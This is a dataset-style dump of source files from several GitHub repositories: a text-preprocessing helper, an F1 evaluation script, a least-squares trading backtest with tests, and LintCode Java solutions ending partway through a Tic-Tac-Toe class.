"text": "import re, html\nimport numpy as np\nre1 = re.compile(r' +')\n\n\n# functions for pre-processing text\ndef fixup(x):\n x = x.replace('#39;', \"'\").replace('amp;', '&').replace('#146;', \"'\").replace(\n 'nbsp;', ' ').replace('#36;', '$').replace('\\\\n', \"\\n\").replace('quot;', \"'\").replace(\n '<br />', \"\\n\").replace('\\\\\"', '\"').replace('<unk>','u_n').replace(' @.@ ','.').replace(\n ' @-@ ','-').replace('\\\\', ' \\\\ ')\n return re1.sub(' ', html.unescape(x))\n\ndef get_texts(df, n_lbls=1):\n labels = df.iloc[:,range(n_lbls)].values.astype(np.int64)\n texts = f'\\n{BOS} {FLD} 1 ' + df[n_lbls].astype(str)\n for i in range(n_lbls+1, len(df.columns)): texts += f' {FLD} {i-n_lbls} ' + df[i].astype(str)\n texts = list(texts.apply(fixup).values)\n\n tok = Tokenizer().proc_all_mp(partition_by_cores(texts))\n return tok, list(labels)\n\ndef get_all(df, n_lbls):\n tok, labels = [], []\n for i, r in enumerate(df):\n print(i)\n tok_, labels_ = get_texts(r, n_lbls)\n tok += tok_;\n labels += labels_\n return tok, labels\n\n'''\ndef plot_confusion_matrix(cm, classes, normalize=False, title='Confusion matrix', cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n (This function is copied from the scikit docs.)\n \"\"\"\n plt.figure()\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(cm)\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, cm[i, j], horizontalalignment=\"center\", color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n'''\n"
}
] | 1 |
TriplesAccuracyAssessment/taa-evaluation | https://github.com/TriplesAccuracyAssessment/taa-evaluation | 061e3856b385c4d777acd27081e1aa02249ecfd6 | 9675b92c200eb3efa4f6167559494eba6d9360e9 | 36707e8b8de96c560e9c645378e1af8c9474500c | refs/heads/master | 2021-01-23T03:21:29.281789 | 2017-03-24T17:11:39 | 2017-03-24T17:11:39 | 86,071,963 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.8358209133148193,
"alphanum_fraction": 0.8358209133148193,
"avg_line_length": 32.5,
"blob_id": "d32278346c465c9aa1380002992efc8d67805bcd",
"content_id": "02bf7889000c573fde8de0e199ba44b78bc88442",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 67,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 2,
"path": "/README.md",
"repo_name": "TriplesAccuracyAssessment/taa-evaluation",
"src_encoding": "UTF-8",
"text": "# taa-evaluation\nResources of the Evaluational Experiments for TAA\n"
},
{
"alpha_fraction": 0.725168764591217,
"alphanum_fraction": 0.7425265312194824,
"avg_line_length": 31.375,
"blob_id": "e32e0c2e01664ea4121b53d5b35440910f40cf94",
"content_id": "594fb74f06863b3a7d924677273fadcd67bd0c72",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1037,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 32,
"path": "/executable/compF1.py",
"repo_name": "TriplesAccuracyAssessment/taa-evaluation",
"src_encoding": "UTF-8",
"text": " #\n # (C) Copyright 2017 Shuangyan Liu\n # [email protected] \n # Knowledge Media Institute\n # The Open University, United Kingdom\n # \n # Licensed under the Apache License, Version 2.0 (the \"License\");\n # you may not use this file except in compliance with the License.\n # You may obtain a copy of the License at\n #\n # http://www.apache.org/licenses/LICENSE-2.0\n #\n # Unless required by applicable law or agreed to in writing, software\n # distributed under the License is distributed on an \"AS IS\" BASIS,\n # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n # See the License for the specific language governing permissions and\n # limitations under the License.\n #\n #\n\n# requires Python2\nfrom sklearn.metrics import precision_recall_fscore_support\nimport sys\nimport ast\n\n# arg1: list containing human assessed labels\narg1 = ast.literal_eval(sys.argv[1])\n# arg2: list containing predicted labels\narg2 = ast.literal_eval(sys.argv[2])\nmetrics = precision_recall_fscore_support(arg1, arg2, average='binary')\nf = -metrics[2]\nprint f\n"
}
] | 2 |
dulayev/trading | https://github.com/dulayev/trading | c10b100ca3036af9506204d0aea503b13d2f04af | 3199501d9ce3eef76fb674df9f315c990baeddc9 | bed82507d2a684099fbdaa2424ae1abf60effaaa | refs/heads/master | 2018-12-19T02:46:22.607948 | 2018-12-09T21:33:36 | 2018-12-09T21:33:36 | 121,136,629 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5302279591560364,
"alphanum_fraction": 0.5681367516517639,
"avg_line_length": 31.68016242980957,
"blob_id": "df6b500539367840302790faf1a32b6012f73758",
"content_id": "9b5af9d4a8815220d026d8be146bfd9d4f12b9eb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8072,
"license_type": "no_license",
"max_line_length": 114,
"num_lines": 247,
"path": "/trading.py",
"repo_name": "dulayev/trading",
"src_encoding": "UTF-8",
"text": "from datetime import datetime\nfrom itertools import cycle\nimport copy\nimport collections\nimport math\n\nclass LeastSquares:\n\n def LoadPoints(self, points):\n self.sum_x = 0.0\n self.sum_y = 0.0\n self.sum_w = 0.0\n self.sum_xy = 0.0\n self.sum_x2 = 0.0\n for point in points:\n x = point[0]\n y = point[1]\n w = point[2] # weight\n self.sum_x += w * x\n self.sum_y += w * y \n self.sum_w += w\n self.sum_x2 += w * x * x\n self.sum_xy += w * x * y\n\n def Compute(self):\n a = (self.sum_w * self.sum_xy - self.sum_x * self.sum_y) / \\\n (self.sum_w * self.sum_x2 - self.sum_x * self.sum_x)\n b = (self.sum_y - a * self.sum_x) / self.sum_w\n return (a, b)\n\n def AppendPoint(self, point):\n x = point[0]\n y = point[1]\n w = point[2] # weight\n self.sum_x += w * x\n self.sum_y += w * y \n self.sum_w += w\n self.sum_x2 += w * x * x\n self.sum_xy += w * x * y\n\n def RemovePoint(self, point):\n LeastSquares.AppendPoint(self, (point[0], point[1], -point[2]))\n\n @staticmethod\n def ComputeFor(points):\n least_squares = LeastSquares()\n least_squares.LoadPoints(points)\n return least_squares.Compute()\n\n# reads file and returns tuples array\ndef ReadFile(name):\n res = []\n header = True\n epoch = datetime(year = 2017, month = 1, day = 1)\n with open(name, 'r') as f:\n for line in f:\n if not header:\n parts = line.split(',')\n dt = datetime.strptime(parts[2] + parts[3], \"%Y%m%d%H%M%S\")\n seconds = (dt - epoch).total_seconds()\n price = 0.0\n for i in range(4, 8):\n price += float(parts[i])\n price /= 4\n volume = float(parts[8])\n res.append((seconds, price, volume))\n else:\n header = False\n return res\n\ndef TestLeastSquares():\n gold_a = 3.0\n gold_b = 8.0\n count = 10\n data = [[x, gold_a * x + gold_b, 1] for x in range(count)]\n assert LeastSquares.ComputeFor(data) == (gold_a, gold_b) # correct for indeed linear sequence with weight == 1\n data1 = [(p[0], p[1], 10) for p in data]\n assert LeastSquares.ComputeFor(data1) == (gold_a, gold_b) # the same for another constant weight\n deltas = cycle((2, -2))\n for i in range(0, count // 4 * 2): # even number <= count / 2\n delta = next(deltas)\n data[i][1] += delta # add +/- 2 from beginning\n data[-1-i][1] += delta # add +/- 2 from the end\n assert LeastSquares.ComputeFor(data) == (gold_a, gold_b)\n\n data2 = copy.deepcopy(data)\n weight = 20\n data2[0][2] = weight # increase weight of 1st item\n\n for i in range(1, weight):\n data.append(data[0]) # duplicate 1st item (weight - 1) times\n\n assert len(data) != len(data2)\n assert LeastSquares.ComputeFor(data) == LeastSquares.ComputeFor(data2)\n\n least_squares = LeastSquares()\n least_squares.LoadPoints(data)\n extra_point = [22, 10, 5]\n least_squares.AppendPoint(extra_point)\n assert least_squares.Compute() == LeastSquares.ComputeFor(data + [extra_point])\n least_squares.RemovePoint(extra_point)\n assert least_squares.Compute() == LeastSquares.ComputeFor(data)\n\ndef Variance(linear_model, points, part):\n\n def Delta(point):\n x = point[0]\n real_y = point[1]\n linear_y = linear_model[0] * x + linear_model[1]\n return abs(real_y - linear_y)\n\n delta_points = [(p, Delta(p)) for p in points]\n \n delta_points.sort(key = lambda dp : dp[1], reverse = True)\n\n total_weight = sum(p[2] for p in points)\n goal_weight = total_weight * part\n\n delta = 0.0\n current = total_weight\n for p in delta_points:\n current -= p[0][2]\n if current < goal_weight:\n delta = p[1]\n break\n return delta\n\ndef TestVariance():\n a = 2.0\n b = 5.0\n count = 20\n data = [[x, a * x + b, 1] for x in range(count)]\n linear_model = (a, b)\n assert Variance(linear_model, data, 1.0) == 0.0\n assert Variance(linear_model, data, 0.5) == 0.0\n assert Variance(linear_model, data, 0.0) == 0.0\n \n data.append([0, 0, 20])\n assert Variance(linear_model, data, 0.4) == 0.0\n assert Variance(linear_model, data, 0.5) == 0.0\n assert Variance(linear_model, data, 0.51) == 5.0\n assert Variance(linear_model, data, 1.0) == 5.0\n \n data.insert(0, [0, 20, 10])\n assert Variance(linear_model, data, 0.3) == 0.0\n assert Variance(linear_model, data, 0.6) == 5.0\n assert Variance(linear_model, data, 0.9) == 15.0\n\nStats = collections.namedtuple(\"Stats\", [\"deal_count\", \"volume\", \"gain\", \"leftover\"])\nStrategy = collections.namedtuple(\"Strategy\", [\"trend_len\", \"enter\", \"fix\", \"drop\", \"max_count\"])\n\ndef OvertakeTrend(linear_model, point):\n trend_up = linear_model[0] >= 0\n actual_price = point[1]\n modeled_price = linear_model[0] * point[0] + linear_model[1]\n above_trend = actual_price >= modeled_price\n\n return trend_up == above_trend\n\ndef TestOvertakeTrend():\n trend_up = (0.5, 1)\n assert OvertakeTrend(trend_up, (1.0, 1.6))\n assert OvertakeTrend(trend_up, (1.0, 1.5))\n assert not OvertakeTrend(trend_up, (1.0, 1.4))\n trend_down = (-0.5, 1)\n assert OvertakeTrend(trend_down, (1.0, 0.4))\n assert not OvertakeTrend(trend_down, (1.0, 0.5))\n assert not OvertakeTrend(trend_down, (1.0, 0.6))\n\ndef ExceedDelta(linear_model, delta, point):\n actual_price = point[1]\n modeled_price = linear_model[0] * point[0] + linear_model[1]\n return abs(actual_price - modeled_price) > delta \n\ndef TestExceedDelta():\n trend = (1, 2)\n assert not ExceedDelta(trend, delta = 0.5, point = (1.0, 3.0))\n assert not ExceedDelta(trend, delta = 0.5, point = (1.0, 3.5))\n assert not ExceedDelta(trend, delta = 0.5, point = (1.0, 2.5))\n assert not ExceedDelta(trend, delta = 0.5, point = (1.0, 3.4))\n assert not ExceedDelta(trend, delta = 0.5, point = (1.0, 2.6))\n assert ExceedDelta(trend, delta = 0.5, point = (1.0, 3.6))\n assert ExceedDelta(trend, delta = 0.5, point = (1.0, 2.4))\n\ndef Simulate(points, strategy):\n\n\n stats = Stats(deal_count = 0, volume = 0.0, gain = 0.0, leftover = 0)\n\n trend_points = []\n trend_ready = False\n\n for point in points:\n\n if not trend_ready:\n trend_points.append(point)\n\n if trend_points[-1][0] - trend_points[0][0] < strategy.trend_len:\n continue\n\n least_squares = LeastSquares()\n least_squares.LoadPoints(trend_points)\n trend_ready = True \n continue\n else:\n trend = least_squares.Compute()\n if stats.leftover == 0:\n # look for enter\n if not OvertakeTrend(trend, point):\n delta = Variance(trend, trend_points, strategy.enter)\n\n if ExceedDelta(trend, delta, point):\n stats = stats._replace(\n deal_count = stats.deal_count + 1,\n leftover = stats.leftover + strategy.max_count,\n volume = stats.volume + strategy.max_count * point[1])\n\n return stats\n\ndef TestSimulate():\n a = 2.0\n b = 5.0\n count = 20\n data = [[x, a * x + b, 1] for x in range(count)]\n data.insert(11, (10.5, 1, 1))\n strategy = Strategy(trend_len = 10, enter = 0.8, fix = 0.8, drop = 1.0, max_count = 1)\n\n stats = Simulate(data, strategy)\n assert stats == Stats(deal_count = 1, volume = 1.0, gain = 0.0, leftover = 1)\n \nTestLeastSquares()\nTestVariance()\nTestOvertakeTrend()\nTestExceedDelta()\nTestSimulate()\n\ndata = ReadFile(\"/home/dulayev/Documents/SPFB.BR-1.19_181001_181210.txt\")\nprint(len(data))\nprint(data[0])\n\n\n\ntrend_len = 7 * 24 * 3600 # seconds in week\nstrategy = Strategy(trend_len, enter = 0.8, fix = 0.8, drop = 0.8, max_count = 1)\n\nstats = Simulate(data, strategy)\nprint(stats)\n"
},
{
"alpha_fraction": 0.8333333134651184,
"alphanum_fraction": 0.8333333134651184,
"avg_line_length": 14,
"blob_id": "43b2c22d94397c47d7b83b4147f444aca4607be8",
"content_id": "7ae9d2e920069847fb133b47b770cbe42d4284ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 30,
"license_type": "no_license",
"max_line_length": 19,
"num_lines": 2,
"path": "/README.md",
"repo_name": "dulayev/trading",
"src_encoding": "UTF-8",
"text": "# trading\ntrading experiments\n"
}
] | 2 |
tangcent/lintcode | https://github.com/tangcent/lintcode | c67afe56bb6ab2b7862650ca34584296790b06b0 | ccbf8846b9084a91611354eb9fbce875b9158460 | a848e69523764b039a85236189ba38510dc9d183 | refs/heads/master | 2020-03-27T21:34:08.195368 | 2019-03-06T12:49:45 | 2019-03-06T12:49:45 | 147,157,376 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.36698031425476074,
"alphanum_fraction": 0.3934987187385559,
"avg_line_length": 20.648147583007812,
"blob_id": "63a6a394bbc1bf289bbf89d95c07ed00f348f560",
"content_id": "e25a49b9273040f1d202d7f534e3310a3ff80019",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1169,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 54,
"path": "/java/src/main/java/T20161224/Sqrtx.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161224;\n\n/**\n * Sqrt(x)\n * Implement int sqrt(int x).\n * <p>\n * Compute and return the square root of x.\n * Example\n * sqrt(3) = 1\n * <p>\n * sqrt(4) = 2\n * <p>\n * sqrt(5) = 2\n * <p>\n * sqrt(10) = 3\n */\npublic class Sqrtx {\n /**\n * @param x: An integer\n * @return: The sqrt of x\n */\n public int sqrt(int x) {\n if (x == 0)\n return 0;\n if (x == 1)\n return 1;\n int start = 1;\n int end = (x >> 1) + 1;\n int mid;\n long square;\n while (start != end) {\n mid = (start + end) >> 1;\n square = (long) mid * mid;\n if (square == x)\n return mid;\n if (square > x) {\n end = mid;\n } else {\n if (start == mid)\n return start;\n start = mid;\n }\n }\n return start;\n }\n\n public static void main(String args[]) {\n Sqrtx sqrtx = new Sqrtx();\n System.out.print(5 + \"-->\" + sqrtx.sqrt(5) + \"\\n\");\n for (int i = 0; i < 100; i++) {\n System.out.print(i + \"-->\" + sqrtx.sqrt(i) + \"\\n\");\n }\n }\n}\n"
},
{
"alpha_fraction": 0.48834019899368286,
"alphanum_fraction": 0.505258321762085,
"avg_line_length": 23.299999237060547,
"blob_id": "82d4e2d6236c0015addfe5adddb541d19e932c51",
"content_id": "5257b9a73610140485444f3ce68fad799eb8d86f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2187,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 90,
"path": "/java/src/main/java/T20180907/MajorityElementII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180907;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Description\n * Given an array of integers, the majority number is the number that occurs more than 1/3 of the size of the array.\n *\n * Find it.\n *\n * There is only one majority number in the array.\n *\n * Example\n * Given [1, 2, 1, 2, 1, 3, 3], return 1.\n *\n * Challenge\n * O(n) time and O(1) extra space.\n */\npublic class MajorityElementII {\n\n /*\n * @param nums: a list of integers\n * @return: find a majority number\n */\n public int majorityNumber(List<Integer> nums) {\n // write your code here\n\n Map<Integer, Count> majoritys = new HashMap<>();\n\n int size = nums.size();\n int middleSize = size >> 1;\n int standard = size / 3;\n\n for (int i = 0; i < middleSize; i++) {\n Integer num = nums.get(i);\n if (majoritys.containsKey(num)) {\n majoritys.get(num).count += 1;\n } else {\n majoritys.put(num, new Count(1));\n }\n }\n\n\n for (int i = middleSize; i < size; i++) {\n Integer num = nums.get(i);\n if (majoritys.containsKey(num)) {\n final Count count = majoritys.get(num);\n if (++count.count > standard) {\n return num;\n }\n } else {\n majoritys.put(num, new Count(1));\n }\n }\n\n if (majoritys.size() > 0) {\n for (Integer num : majoritys.keySet()) {\n if (majoritys.get(num).count > standard) {\n return num;\n }\n }\n }\n\n return -1;\n }\n\n private class Count {\n private int count;\n\n public Count(int count) {\n this.count = count;\n }\n }\n\n public static void main(String[] args) {\n ArrayList<Integer> list = new ArrayList<>();\n list.add(99);\n list.add(2);\n list.add(99);\n list.add(2);\n list.add(99);\n list.add(3);\n list.add(3);\n System.out.println(new MajorityElementII().majorityNumber(list));\n }\n\n}\n"
},
{
"alpha_fraction": 0.38158270716667175,
"alphanum_fraction": 0.42641615867614746,
"avg_line_length": 32.4571418762207,
"blob_id": "1104d331e0ccd6f366989c0c70aa296c4ac41764",
"content_id": "63148eb1ce1f834be1dd2b0b537ac4f12887ca59",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 7026,
"license_type": "no_license",
"max_line_length": 175,
"num_lines": 210,
"path": "/java/src/main/java/T20180916/RecommendFriendsIV.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180916;\n\n/**\n * Description\n * Give n personal friends list, tell you user, find the person that user is most likely to know. (He and the user have the most common friends and he is not a friend of user)\n * <p>\n * n <= 500.\n * The relationship between friends is mutual. (if B appears on a's buddy list, a will appear on B's friends list).\n * Each person's friend relationship does not exceed m, m <= 3000.\n * If there are two people who share the same number of friends as user, the smaller number is considered the most likely person to know.\n * If user and all strangers have no common friends, return -1.\n * <p>\n * Example\n * Given list = [[1,2,3],[0,4],[0,4],[0,4],[1,2,3]], user = 0, return 4.\n * <p>\n * Explanation:\n * 0 and 4 are not friends, and they have 3 common friends. So 4 is the 0 most likely to know.\n * Given list = [[1,2,3,5],[0,4,5],[0,4,5],[0,5],[1,2],[0,1,2,3]], user = 0, return 4.\n * <p>\n * Explanation:\n * Although 5 and 0 have 3 common friends, 4 and 0 only have 2 common friends, but 5 is a 0's friend, so 4 is the 0 most likely to know.\n */\npublic class RecommendFriendsIV {\n\n\n /**\n * @param friends: people's friends\n * @param user: the user's id\n * @return: the person who most likely to know\n */\n public int recommendFriends(int[][] friends, int user) {\n // Write your code here\n\n int[] myFriends = friends[user];\n IntSet myFriendSet = new IntSet();\n\n myFriendSet.add(user);\n\n for (int myFriend : myFriends) {\n myFriendSet.add(myFriend);\n }\n\n\n int max = 0;\n int likely = -1;\n int count = 0;\n for (int i = 0; i < friends.length; i++) {\n if (myFriendSet.contain(i)) {\n continue;\n }\n int[] friendsOfI = friends[i];\n if (friendsOfI.length < max) {\n continue;\n }\n count = 0;\n for (int fi : friendsOfI) {\n if (myFriendSet.contain(fi)) {\n ++count;\n }\n }\n if (count < max) {\n continue;\n }\n\n if (count == max) {\n if (i < likely) {\n likely = i;\n }\n } else {\n max = count;\n likely = i;\n }\n }\n\n\n return likely;\n }\n\n// private static class IntSet {\n//\n// long set1;//0-63\n// long set2;//64-127\n// long set3;//128-191\n// long set4;//192-255\n// long set5;//256-319\n// long set6;//320-383\n// long set7;//384-447\n// long set8;//448-511\n// // long[] sets = new long[8];\n// public static final int setMask = 0b1111000000;\n// public static final int indexMask = 0b0000111111;\n//\n// private void add(int val) {\n// switch (val & setMask) {\n// case 0:\n// set1 = set1 | (1L << val);\n// break;\n// case 0x40:\n// set2 = set2 | (1L << (val & indexMask));\n// break;\n// case 0x80:\n// set3 = set3 | (1L << (val & indexMask));\n// break;\n// case 0xc0:\n// set4 = set4 | (1L << (val & indexMask));\n// break;\n// case 0x100:\n// set5 = set5 | (1L << (val & indexMask));\n// break;\n// case 0x140:\n// set6 = set6 | (1L << (val & indexMask));\n// break;\n// case 0x180:\n// set7 = set7 | (1L << (val & indexMask));\n// break;\n// case 0x1c0:\n// set8 = set8 | (1L << (val & indexMask));\n// break;\n// }\n// }\n//\n// private boolean tryAddFailed(int val) {\n// switch (val & setMask) {\n// case 0:\n// return set1 == (set1 = set1 | (1L << val));\n// case 0x40:\n// return set2 == (set2 = set2 | (1L << (val & indexMask)));\n// case 0x80:\n// return set3 == (set3 = set3 | (1L << (val & indexMask)));\n// case 0xc0:\n// return set4 == (set4 = set4 | (1L << (val & indexMask)));\n// case 0x100:\n// return set5 == (set5 = set5 | (1L << (val & indexMask)));\n// case 0x140:\n// return set6 == (set6 = set6 | (1L << (val & indexMask)));\n// case 0x180:\n// return set7 == (set7 = set7 | (1L << (val & indexMask)));\n// case 0x1c0:\n// return set8 == (set8 = set8 | (1L << (val & indexMask)));\n// }\n// return true;\n// }\n//\n// private boolean contain(int val) {\n//\n// switch (val & setMask) {\n// case 0:\n// return (set1 & (1L << val)) != 0;\n// case 0x40:\n// return (set2 & 1L << (val & indexMask)) != 0;\n// case 0x80:\n// return (set3 & (1L << (val & indexMask))) != 0;\n// case 0xc0:\n// return (set4 & (1L << (val & indexMask))) != 0;\n// case 0x100:\n// return (set5 & (1L << (val & indexMask))) != 0;\n// case 0x140:\n// return (set6 & (1L << (val & indexMask))) != 0;\n// case 0x180:\n// return (set7 & (1L << (val & indexMask))) != 0;\n// case 0x1c0:\n// return (set8 & (1L << (val & indexMask))) != 0;\n// }\n// return true;\n// }\n//\n// }\n\n private static class IntSet {\n\n int[] sets = new int[16];\n public static final int setMask = 0x3e0;\n public static final int indexMask = 0x1f;\n\n private void add(int val) {\n int set = (val & setMask) >> 5;\n sets[set] = sets[set] | (1 << (val & indexMask));\n }\n\n private boolean tryAddFailed(int val) {\n int set = (val & setMask) >> 5;\n int newValue = sets[set] | (1 << (val & indexMask));\n if (sets[set] == newValue) {\n return true;\n } else {\n sets[set] = newValue;\n return false;\n }\n }\n\n private boolean contain(int val) {\n int set = (val & setMask) >> 5;\n return (sets[set] & (1 << (val & indexMask))) != 0;\n }\n\n }\n\n public static void main(String[] args) {\n IntSet intSet = new IntSet();\n for (int i = 0; i < 500; i++) {\n if (intSet.contain(i)) {\n System.out.println(\"aerr\" + i);\n }\n intSet.add(i);\n if (!intSet.contain(i)) {\n System.out.println(\"berr\" + i);\n }\n }\n }\n}\n"
},
{
"alpha_fraction": 0.4076763391494751,
"alphanum_fraction": 0.4501131772994995,
"avg_line_length": 30.46587562561035,
"blob_id": "beb4396425530b5ea71164599cab64d1360621b3",
"content_id": "1c2a8f0a4e09534f89cfad2b7eafdece1b56a6a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 10604,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 337,
"path": "/java/src/main/java/T20180919/TicTacToeII/TicTacToe.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180919.TicTacToeII;\n\n/**\n * Description\n * Design Tic-Tac-Toe game.\n * <p>\n * board has fixed size of 3\n * X always take the first move\n * If a place already got taken, and one player want to take that place,\n * an AlreadyTakenException will be thrown\n * If one player wins, and somebody try to make another move, a GameEndException will be thrown.\n * <p>\n * Example\n * Input:\n * move(0, 0) // X turn\n * move(1, 0) // O trun\n * move(1, 1) // X turn\n * move(2, 0) // O turn\n * move(2, 2) // X turn and win\n * move(0, 0) //throw GameEndException\n * move(0, 0) // X turn\n * move(0, 0) // throw AlreadyTakenException\n * move(1, 0) // O turn\n * move(1, 1) // X turn\n * move(2, 0) // o turn\n * move(2, 2) // X turn and win\n * <p>\n * You should print blew:\n * <p>\n * x player wins!\n * x player wins!\n */\npublic class TicTacToe {\n\n private static class AlreadyTakenException extends Exception {\n }\n\n private static class GameEndException extends Exception {\n }\n\n /**\n * Initialize your data structure here.\n */\n public TicTacToe() {\n action = xAction;\n }\n\n public boolean move(int row, int col) throws AlreadyTakenException, GameEndException {\n return action.move(this, row, col);\n }\n\n private Action action;//X turn\n\n private int oBits = 0;\n private int xBits = 0;\n private int oxBits = 0;\n\n private static XAction xAction = new XAction();\n private static OAction oAction = new OAction();\n private static EndedAction endedAction = new EndedAction();\n\n private interface Action {\n boolean move(TicTacToe ticTacToe, int row, int col) throws AlreadyTakenException, GameEndException;\n }\n\n private static abstract class NoEndedAction implements Action {\n\n @Override\n public boolean move(TicTacToe ticTacToe, int row, int col) throws AlreadyTakenException, GameEndException {\n// int index = row * 3 + col;\n int index = 0;\n switch (row) {\n case 0:\n switch (col) {\n case 0:\n index = 1;\n break;\n case 1:\n index = 2;\n break;\n case 2:\n index = 4;\n break;\n }\n break;\n case 1:\n switch (col) {\n case 0:\n index = 8;\n break;\n case 1:\n index = 16;\n break;\n case 2:\n index = 32;\n break;\n }\n break;\n case 2:\n switch (col) {\n case 0:\n index = 64;\n break;\n case 1:\n index = 128;\n break;\n case 2:\n index = 256;\n break;\n }\n break;\n default:\n }\n\n if (ticTacToe.oxBits == (ticTacToe.oxBits = ticTacToe.oxBits | index)) {\n throw new AlreadyTakenException();\n }\n return move(ticTacToe, index);\n }\n\n public boolean check(TicTacToe ticTacToe, int bits, int index) throws GameEndException {\n switch (index) {\n case 0x100:\n return (bits & 0x1c0) == 0x1c0\n || (bits & 0x124) == 0x124\n || (bits & 0x111) == 0x111;\n case 0x80:\n return (bits & 0x1c0) == 0x1c0\n || (bits & 0x92) == 0x92;\n case 0x40:\n return (bits & 0x1c0) == 0x1c0\n || (bits & 0x49) == 0x49\n || (bits & 0x54) == 0x54;\n case 0x20:\n return (bits & 0x38) == 0x38\n || (bits & 0x124) == 0x124;\n case 0x10:\n return (bits & 0x38) == 0x38\n || (bits & 0x124) == 0x124\n || (bits & 0x111) == 0x111\n || (bits & 0x54) == 0x54;\n case 0x8:\n return (bits & 0x38) == 0x38\n || (bits & 0x49) == 0x49;\n case 0x4:\n return (bits & 0x7) == 0x7\n || (bits & 0x124) == 0x124\n || (bits & 0x54) == 0x54;\n case 0x2:\n return (bits & 0x7) == 0x7\n || (bits & 0x92) == 0x92;\n case 0x1:\n return (bits & 0x7) == 0x7\n || (bits & 0x49) == 0x49\n || (bits & 0x111) == 0x111;\n\n }\n return false;\n }\n\n protected abstract boolean move(TicTacToe ticTacToe, int index) throws GameEndException;\n }\n\n private static class XAction extends NoEndedAction {\n\n @Override\n public boolean move(TicTacToe ticTacToe, int index) throws GameEndException {\n ticTacToe.xBits = ticTacToe.xBits | index;\n if (check(ticTacToe, ticTacToe.xBits, index)) {\n ticTacToe.action = endedAction;\n return true;\n } else {\n ticTacToe.action = oAction;\n return false;\n }\n }\n }\n\n private static class OAction extends NoEndedAction {\n\n @Override\n public boolean move(TicTacToe ticTacToe, int index) throws GameEndException {\n ticTacToe.oBits = ticTacToe.oBits | index;\n if (check(ticTacToe, ticTacToe.oBits, index)) {\n ticTacToe.action = endedAction;\n return true;\n } else {\n ticTacToe.action = xAction;\n return false;\n }\n }\n }\n\n private static class EndedAction implements Action {\n\n @Override\n public boolean move(TicTacToe ticTacToe, int row, int col) throws GameEndException {\n throw new GameEndException();\n }\n }\n\n private void print() {\n System.out.println(\"-----------\");\n for (int row = 0; row < 3; row++) {\n System.out.print(\"|\");\n for (int col = 0; col < 3; col++) {\n int i = 1 << (row * 3 + col);\n if ((oBits & i) != 0) {\n System.out.print(\"O\");\n } else if ((xBits & i) != 0) {\n System.out.print(\"X\");\n } else {\n System.out.print(\" \");\n }\n }\n System.out.println(\"|\");\n }\n System.out.println(\"\\n-----------\");\n }\n\n public static void main(String[] args) {\n TicTacToe ticTacToe = new TicTacToe();\n\n move(ticTacToe, 1, 0);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 1, 1);\n 